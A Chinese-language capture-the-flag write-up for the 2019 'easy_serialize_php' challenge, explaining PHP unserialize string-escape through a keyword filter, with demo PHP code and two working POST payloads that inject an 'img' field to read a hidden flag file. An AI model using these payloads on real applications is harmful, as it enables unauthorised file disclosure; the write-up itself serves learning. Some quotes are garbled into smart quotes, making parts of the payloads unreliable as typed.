[安洵杯 2019]easy_serialize_php

image-20240505155919167

看到phpinfo旁边的提示了,尝试观察phpinfo

image-20240505160605676

找到了这个

再往后尝试 show_image,没什么用

但是我们仔细看看就会发现只有传了show_image才能进行反序列化

所以,当f=show_image是可以读文件的,只要$userinfo[‘img’]是相应的flag.php的base64加密

所以之后就来看看serialize_info

filter是过滤用的

一、phpflag

原理:因为序列化的字符串是严格的,对应的格式不能错,比如s:4:”name”,那s:4就必须有一个字符串长度是4的否则就往后要。

并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。

示例:

<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));

我们有了这个逃逸概念的话,就大概可以理解了。如果我们把

$_SESSION[‘img’] = base64_encode(‘guest_img.png’);这段代码的img属性放到花括号外边去,

然后花括号中注好新的img属性,那么他本来要求的img属性就被咱们替换了。

那如何达到这个目的就要通过过滤函数了,因为咱的序列化的是个字符串啊,然后他又把黑名单的东西替换成空。

post一个数据。

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。

s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}这个肯定就是我们预期的那段序列化字符,

那么 ;s:1:”1”; 这几个字符呢?

如果使用大佬的payload那么可以明白,现在的_SESSION就存在两个键值即phpflag和img对应的键值对。

并且这个字符串得好好读才能不蒙圈。

$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

经过filter过滤后phpflag就会被替换成空,

s:7:”phpflag”;s:48:” 就变成了 s:7:””;s:48:”;即完成了逃逸。

两个键值分别被序列化成了

s:7:””;s:48:”;s:1:”1”;即键名叫”;s:48: 对应的值为一个字符串1。这个键值对只要能瞒天过海就行。

s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;键名img对应的字符串是d0g3_f1ag.php的base64编码。

右花括号后面的;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}”全被当成孤儿放弃了。

发现/d0g3_fllllllag,base64加密,替换原字符串

二、session

这里将下面的东西进行序列化

$_SESSION[“user”] = ‘guest’;
$_SESSION[‘function’] = ‘a’;
$_SESSION[‘img’] = ‘ZDBnM19mMWFnLnBocA==’;//d0g3_f1ag.php base64编码
var_dump(serialize($_SESSION));
//得到
string(90)”a:3:{s:4:”user”;s:5:”guest”;s:8:”function”;s:1:”a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}”
将这里的user和function进行修改,然后这里会进行代码一开始的过滤,将变量$img中的php flag php5 php4 fl1g的字符串替换成’’空字符

$_SESSION[“user”] = ‘flagflagflagflagflagflag’;
$_SESSION[‘function’]= = ‘a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}’;
$_SESSION[‘img’]=’ZDBnM19mMWFnLnBocA==’;

// d0g3_f1ag.php base64编码

序列化后

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
将flag进行了过滤

a:3:{s:4:"user";s:24:"#";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
由于s:24 会往后边读取24位字符”;s:8:”function”;s:59:”a做为user的属性值, #号包含起来的部分,读取到a的时候结束,后面的;进行了闭合,相当于吞掉了一个属性和值,接着会继续读取我们构造的img,由于总共三个属性,我在后边加上了一个属性和值,后边的序列化结果直接就被丢弃

payload:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;s:2:”dd”;s:1:”a”;}

得到了flag in /d0g3_fllllllag

image-20240505180449554

两者核心都在于通过构造某个变量,使得后面的变量无效化

最后将/d0g3_fllllllag,base64加密

得到L2QwZzNfZmxsbGxsbGFn

替换flag.php机密过后的结果,即可获得flag